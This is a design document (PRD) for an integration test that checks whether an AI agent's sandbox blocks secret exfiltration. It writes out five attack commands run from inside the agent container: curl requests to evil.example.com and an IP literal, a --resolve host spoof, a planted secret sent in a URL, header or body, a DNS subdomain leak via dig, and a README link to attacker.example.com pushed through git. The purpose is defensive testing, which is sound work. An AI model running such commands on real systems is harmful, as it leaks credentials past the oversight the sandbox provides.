bot-bottle/docs/prds/0022-sandbox-escape-integration-test.md

# PRD 0022: End-to-end sandbox-escape integration test

- **Status:** Draft
- **Author:** didericis
- **Created:** 2026-05-26

## Summary

A new integration test, `tests/integration/test_sandbox_escape.py`,
that brings up a real bottle with a known allowlist + a known
in-bottle secret, then runs five attacks from inside the agent
container and asserts each one fails. The five categories are
the live cross-section of how the sandbox is supposed to be
load-bearing:

  1. Request to a non-allowlisted hostname
  2. Request to a non-allowlisted IP literal
  3. Secret exfiltration to an allowed dest via HTTP (URL path,
     query string, request body, request headers)
  4. Secret exfiltration to an allowed dest via crafted DNS
     (subdomain-encoded host)
  5. Secret exfiltration via a link inside a README pushed
     through git-gate

The suite is the backend-agnostic gate the smolmachines work
has to pass before that backend can be considered a viable
substitute for Docker. Today's Docker backend is the
backend-under-test; the suite runs against whatever
`CLAUDE_BOTTLE_BACKEND` resolves to.

## Problem

The sandbox today is a composition of layers (pipelock,
egress, git-gate, `--internal` network, supervise) each tested
in isolation but never as a whole. The supervise integration
test exercises the MCP plumbing; `test_orphan_cleanup` covers
the cleanup CLI; the per-sidecar integration tests bring up
one sidecar at a time. None of them ask the operator-relevant
question: **can an in-bottle agent get a secret out?**

That's the question every prospective backend has to answer
before it can ship. Smolmachines (or any other VM-based
backend) will reimplement the sidecar topology over a
different runtime. Without a backend-agnostic test we'd be
reading the layers' code by eye to confirm each new backend
glues them correctly. The diff between "looks right" and
"actually blocks exfil" is the whole point of the project.

## Goals / Success Criteria

The test suite passes when **every one of the five attacks
fails** with a clear permissions-error signal:

1. **Hostname not in allowlist.** Agent's `curl
   https://evil.example.com/` returns non-200 (proxy
   rejection, connection error, or 403). The test asserts the
   exit code is non-zero AND the response body / stderr does
   not contain the upstream's actual response.

2. **IP literal not in allowlist.** Agent's `curl
   https://198.51.100.1/` (RFC 5737 documentation range) is
   blocked. Additionally tests `curl --resolve
   api.anthropic.com:443:198.51.100.1 https://api.anthropic.com/`
   to confirm the host header trick doesn't bypass DNS
   resolution.

3. **Secret in HTTP request to an allowed destination.** A
   known SECRET env var is planted in the bottle. The agent
   tries four shapes against the allowlisted destination:
   - Secret in URL path: `GET /v1/<SECRET>`
   - Secret in query string: `GET /v1/?leak=<SECRET>`
   - Secret in request body: `POST /v1/messages` with JSON
     containing the secret
   - Secret in request headers: `GET /v1/` with
     `X-Custom: <SECRET>`
   The test asserts pipelock's DLP body scanner rejects (3)
   and surfaces what (1)/(2)/(4) actually do — they may
   currently pass through (see open questions).

4. **Secret-bearing DNS subdomain to allowed dest's parent.**
   Agent runs `curl https://<SECRET>.api.anthropic.com/`. The
   hostname is constructed to look "under" an allowlisted
   apex but the SECRET payload leaks via the DNS query to
   whichever resolver pipelock/egress consults. The test
   asserts pipelock rejects the host BEFORE issuing the DNS
   query (host-allowlist matches the exact apex, not
   subdomains).

5. **Secret-bearing link in a PR README.** Agent edits
   `README.md` to include
   `[click](https://attacker.example.com/?leak=<SECRET>)`,
   commits, and `git push`es through git-gate. The pre-receive
   hook's gitleaks scan must reject the push because the
   secret matches one of gitleaks's bundled rules.

The "pass" condition is uniform across all five: the attack's
exit code is non-zero AND the secret never reaches a network
destination outside the bottle.

## Non-goals

- **Detecting exfiltration via side channels** — timing,
  cache state, error-message-length oracles. v1 covers the
  direct paths only.
- **Asserting on specific error messages or HTTP status
  codes.** Each layer (pipelock / egress / git-gate /
  gitleaks) has its own rejection vocabulary. The test
  asserts on the OUTCOME (attack failed, no upstream traffic)
  not the WORDING.
- **Testing the Docker backend's specific sandbox
  implementation in detail.** That's what the per-sidecar
  integration tests already do. This suite is composite: did
  the whole bottle prevent leakage, regardless of which layer
  caught it?
- **A network-tap that confirms zero packets reached
  attacker.example.com.** Out of scope for v1; we trust the
  pipelock/egress error reporting and verify exit codes. If
  we want zero-packets confirmation later, a host-side
  iptables / pcap layer can extend the suite.
- **Running against a backend that doesn't exist yet.** The
  suite is written against the abstract `BottleBackend` API
  via the existing `get_bottle_backend()` selector; future
  smolmachines work flips
  `CLAUDE_BOTTLE_BACKEND=smolmachines` and reruns. No
  smolmachines-specific code here.

## Scope

### In scope

- A new `tests/integration/test_sandbox_escape.py` with one
  TestSandboxEscape class and one `test_<n>_<category>`
  method per attack.
- A test fixture that:
  - Builds a manifest with one bottle, one agent
  - The bottle declares: a few allowlisted egress routes
    (api.anthropic.com, etc.), a git-gate upstream pointing
    at a throwaway repo, supervise off (not under test)
  - Plants a known `TEST_SECRET` value in the bottle's env.
    The value matches a gitleaks rule (e.g., shaped like an
    Anthropic API key) so the README test fires the right
    pre-receive rejection.
- A `_run_in_agent(script)` helper that wraps
  `bottle.exec(script)` and returns an `ExecResult`.
- Assertions per category that read the existing
  `ExecResult.returncode` / `.stdout` / `.stderr`.

### Out of scope

- The per-attack remediation engines. If a category's
  assertion fails, the test is reporting a real gap — the
  remediation is its own PRD.
- Running the suite as part of every PR's CI. v1 lives in
  `tests/integration/` and runs locally on demand; CI
  integration is a follow-up that has to weigh wall-clock
  cost (bringup is ~10s per test class).

## Proposed design

### Single fixture per attack class

`setUpClass` brings the bottle up once; `tearDownClass`
brings it down. Per-test setup is cheap (resetting any
secret-content-storage). The five attacks share the same
bottle so the suite is ~15s wall-clock total instead of
~50s with per-test bringup.

### Bottle manifest

```yaml
# tests/integration/fixtures/sandbox-escape/agents/sandbox-tester.md
---
bottle: dev
---

(no prompt — exec_claude isn't called)
```

```yaml
# tests/integration/fixtures/sandbox-escape/bottles/dev.md
---
env:
  - name: TEST_SECRET
    value: sk-ant-api03-fake-shape-but-realistic-length-for-gitleaks

egress:
  routes:
    - host: api.anthropic.com

git:
  - Name: throwaway
    Upstream: ssh://git@127.0.0.1:22/throwaway.git
    IdentityFile: ~/.ssh/cb-test-key  # fixture key
---
```

`TEST_SECRET` is shaped like an Anthropic API key so
gitleaks's `anthropic-api-key` rule fires on the README. We
don't ship a real key; the prefix-pattern + length match the
rule's regex.

The git upstream URL is unreachable on purpose — we want
git-gate's pre-receive hook to reject the push BEFORE it
tries to forward to a real upstream. The hook's gitleaks
scan happens first.

### Per-attack scaffolding

Each test calls `bottle.exec(script)` (the existing
`Bottle.exec` from `claude_bottle.backend.Bottle`) and
asserts on the returncode + stdout + stderr.

The agent container has `curl`, `git`, `dig`, etc. pre-
installed (already true today for the Docker bottle image).

### Attack-1: hostname not in allowlist

```python
def test_1_hostname_not_in_allowlist(self):
    result = self.bottle.exec(
        'curl --silent --max-time 5 --fail '
        'https://evil.example.com/ ; echo "exit=$?"'
    )
    self.assertNotEqual(0, result.returncode)
    # The attack's stdout should not contain anything from
    # evil.example.com — pipelock should have stopped it.
    self.assertNotIn("evil.example.com", result.stdout)
    self.assertIn("exit=", result.stdout)
    # extract the curl exit, assert non-zero
    ...
```

### Attack-2: IP literal not in allowlist

```python
def test_2_ip_not_in_allowlist(self):
    # Direct IP
    result = self.bottle.exec(
        'curl --silent --max-time 5 --fail https://198.51.100.1/'
    )
    self.assertNotEqual(0, result.returncode)
    # Host-header spoof
    result = self.bottle.exec(
        'curl --silent --max-time 5 --fail '
        '--resolve api.anthropic.com:443:198.51.100.1 '
        'https://api.anthropic.com/'
    )
    self.assertNotEqual(0, result.returncode)
```

### Attack-3: HTTP exfil shapes

Loop over four shapes (path / query / body / header),
assert each one is blocked by either pipelock's DLP or
egress's path-filter. Headers in particular may not be DLP-
scanned today — surface that gap clearly if so.

```python
SHAPES = [
    ("path",   'curl -sf "https://api.anthropic.com/v1/$TEST_SECRET"'),
    ("query",  'curl -sf "https://api.anthropic.com/v1/?leak=$TEST_SECRET"'),
    ("body",   'curl -sf -X POST "https://api.anthropic.com/v1/messages" '
               '-H "Content-Type: application/json" '
               '-d "{\\"secret\\": \\"$TEST_SECRET\\"}"'),
    ("header", 'curl -sf "https://api.anthropic.com/v1/" '
               '-H "X-Custom: $TEST_SECRET"'),
]

def test_3_http_exfil_blocked(self):
    for name, cmd in SHAPES:
        with self.subTest(shape=name):
            result = self.bottle.exec(cmd)
            self.assertNotEqual(
                0, result.returncode,
                f"{name} exfil should have been blocked",
            )
```

### Attack-4: DNS exfil — both crafted subdomain AND direct query

Two sub-assertions cover the two ways DNS can leak.

```python
def test_4_dns_exfil_blocked(self):
    # 4a — crafted subdomain that pipelock would resolve.
    # Pipelock's exact-match allowlist rejects the host
    # before issuing the DNS query.
    result = self.bottle.exec(
        'curl --silent --max-time 5 --fail '
        '"https://$TEST_SECRET.api.anthropic.com/"'
    )
    self.assertNotEqual(0, result.returncode)

    # 4b — direct DNS query bypassing pipelock entirely.
    # The agent's --internal network has no default
    # gateway; even with an explicit resolver like 8.8.8.8
    # the query has nowhere to go.
    result = self.bottle.exec(
        'dig +time=3 +tries=1 @8.8.8.8 '
        '"$TEST_SECRET.example.com" || echo "dig exit=$?"'
    )
    # No successful answer.
    self.assertNotIn("ANSWER SECTION", result.stdout)
```

### Attack-5: secret in README push (with ordering check)

```python
def test_5_readme_push_blocked(self):
    result = self.bottle.exec(
        'cd /tmp && git init test-repo && cd test-repo && '
        'git config user.email "test@example.com" && '
        'git config user.name "test" && '
        'echo "[click](https://attacker.example.com/?leak=$TEST_SECRET)" > README.md && '
        'git add . && git commit -m "leak" && '
        'git remote add origin '
        'git://claude-bottle-git-gate-<slug>/throwaway.git && '
        'git push origin master'
    )
    self.assertNotEqual(0, result.returncode)
    combined = (result.stderr + result.stdout).lower()
    # gitleaks ran and rejected.
    self.assertIn("gitleaks", combined)
    # AND: the rejection happened BEFORE git-gate tried to
    # forward to the unreachable upstream. Network errors
    # mentioning resolve / refused / unreachable would mean
    # gitleaks ran AFTER (sequence wrong) or didn't run.
    for upstream_phrase in (
        "could not resolve",
        "connection refused",
        "network is unreachable",
        "upstream",
    ):
        self.assertNotIn(
            upstream_phrase, combined,
            f"unexpected upstream-phase phrase: gitleaks should "
            f"reject BEFORE git-gate attempts an upstream push",
        )
```

The `<slug>` is templated via the bottle's known identity at
fixture-time. The two-part assertion both confirms gitleaks
fired AND that it fired before any upstream attempt — the
ordering the sandbox depends on.

## Implementation chunks

Sized small.

1. **Fixture manifest + secret env-var plumbing.** Just the
   files under `tests/integration/fixtures/sandbox-escape/`
   and the test class scaffolding with `setUpClass` /
   `tearDownClass` bringing up + tearing down the bottle.
   No attack tests yet.
2. **Attack 1 + 2 (hostname + IP).** The simplest two —
   curl returns non-zero, that's the assertion.
3. **Attack 3 (HTTP exfil shapes).** Parameterized over the
   four shapes via subTest. Likely surfaces gaps in current
   DLP coverage for header / path / query shapes.
4. **Attack 4 (DNS exfil).** Exact-match-allowlist
   verification.
5. **Attack 5 (README push via git-gate).** Hardest because
   it requires the git-gate sidecar configured and the
   gitleaks rule fired. The "throwaway" upstream URL is
   intentionally unreachable to keep the test fully
   self-contained. Ordering assertions confirm gitleaks
   fires before any upstream push attempt.

6. **CI integration (best-effort).** Add a Gitea Actions
   job that runs the suite against the Docker backend.
   Marked `continue-on-error: true` so the workflow doesn't
   fail if docker-in-docker constraints prevent compose-up.
   If the runner shape evolves later (e.g., privileged
   Docker socket access) the suite slots in cleanly.

## Resolved questions

2. **DNS exfil via the agent's direct DNS resolver.**
   Resolved: **add the assertion to test 4.** The
   `--internal` network has no default gateway, so a direct
   `dig @8.8.8.8 <SECRET>.example.com` from the agent
   should fail. Test 4 grows a second assertion: in
   addition to the crafted-subdomain-via-pipelock attempt
   (which pipelock's exact-match allowlist rejects), the
   agent's direct DNS query is also blocked. Both
   sub-assertions must pass for test 4 to be green.

4. **Reachability of throwaway git upstream + gitleaks
   ordering.** Resolved: **add ordering assertions to test 5.**
   The pre-receive hook MUST reject the push before
   git-gate ever attempts to forward to the (unreachable)
   upstream. Test 5 asserts:
   - `"gitleaks"` appears in the rejection output
     (gitleaks fired)
   - The rejection output does NOT contain phrases like
     `"could not resolve"`, `"connection refused"`,
     `"network is unreachable"`, or `"upstream"` — those
     would mean gitleaks let the push through and the
     failure happened later in the chain.
   The second assertion is the "ordering" check — if it
   fires, gitleaks ran AFTER the upstream attempt
   (sequence is wrong) or didn't run at all.

5. **CI vs. local-only.** Resolved: **attempt CI; accept
   local-only fallback if docker-in-docker blocks it.**
   The Gitea Actions runner ecosystem usually has Docker
   available to the workflow but not nested Docker
   compose inside a containerized runner. v1 tries: add a
   CI job that runs the suite against the Docker backend
   on a runner with Docker socket access. If the
   compose-up step fails because of DiD constraints, the
   job is marked `continue-on-error: true` and the suite
   stays local-only until we have a runner shape that can
   host it.

## Open questions

1. **What does today's pipelock actually do for shapes 3.1,
   3.2, 3.4?** DLP body-scanning is a known feature; URL /
   path / header scanning is less clear. The test will tell
   us — if a shape passes today (attack succeeds), it's a
   real gap and the test fails LOUDLY rather than silently
   passing. Either:
   - Treat the test as authoritative: every shape MUST block
     for the suite to pass. Failing shapes are real bugs.
   - Treat the test as descriptive: mark the failing shapes
     `expectedFailure` and resolve them in a follow-up PRD.

   Lean toward the first — the project's purpose is sandbox
   integrity; documenting "we knowingly leak headers" is
   worse than fixing it. But for v1 of this test it's OK to
   land with `expectedFailure` markers + tickets.

3. **Realistic fake secret.** `sk-ant-api03-...` shape is
   what gitleaks's anthropic-api-key rule matches. Verify
   the exact regex before settling on the fixture value;
   wrong-shape secret would mean attack 5 silently passes
   the wrong way (gitleaks doesn't fire, README ships).

6. **Backend-agnostic invocation.** The suite reads
   `CLAUDE_BOTTLE_BACKEND` so it runs against whatever
   backend is active. For the smolmachines spike, the
   developer sets that env var + runs the same test file.
   No code change needed in the suite itself. Worth
   verifying the existing `get_bottle_backend()` machinery
   handles the backend-not-yet-implemented case gracefully
   (it dies with a clear message today — confirm that's
   what we want).

7. **Test environment requirements.** The agent container
   needs `curl`, `git`, `dig`. Already in today's Docker
   image; need to declare these as required for any
   future backend's base image too. Worth noting in the
   smolmachines PRD.

## References

- PRD 0017 — egress-proxy + path-allowlist + auth injection
  (the layer test 3 + 4 stresses)
- PRD 0014 / 0015 — pipelock / egress remediation flows (the
  surfaces the attacks would propose changes to if denied
  via the supervise route)
- PRD 0008 — git-gate + pre-receive gitleaks (the layer
  test 5 stresses)
- PRD 0018 — compose-per-instance (the topology the test
  brings up)
- `tests/integration/test_supervise_sidecar.py` — the
  existing single-sidecar integration test pattern this
  suite generalizes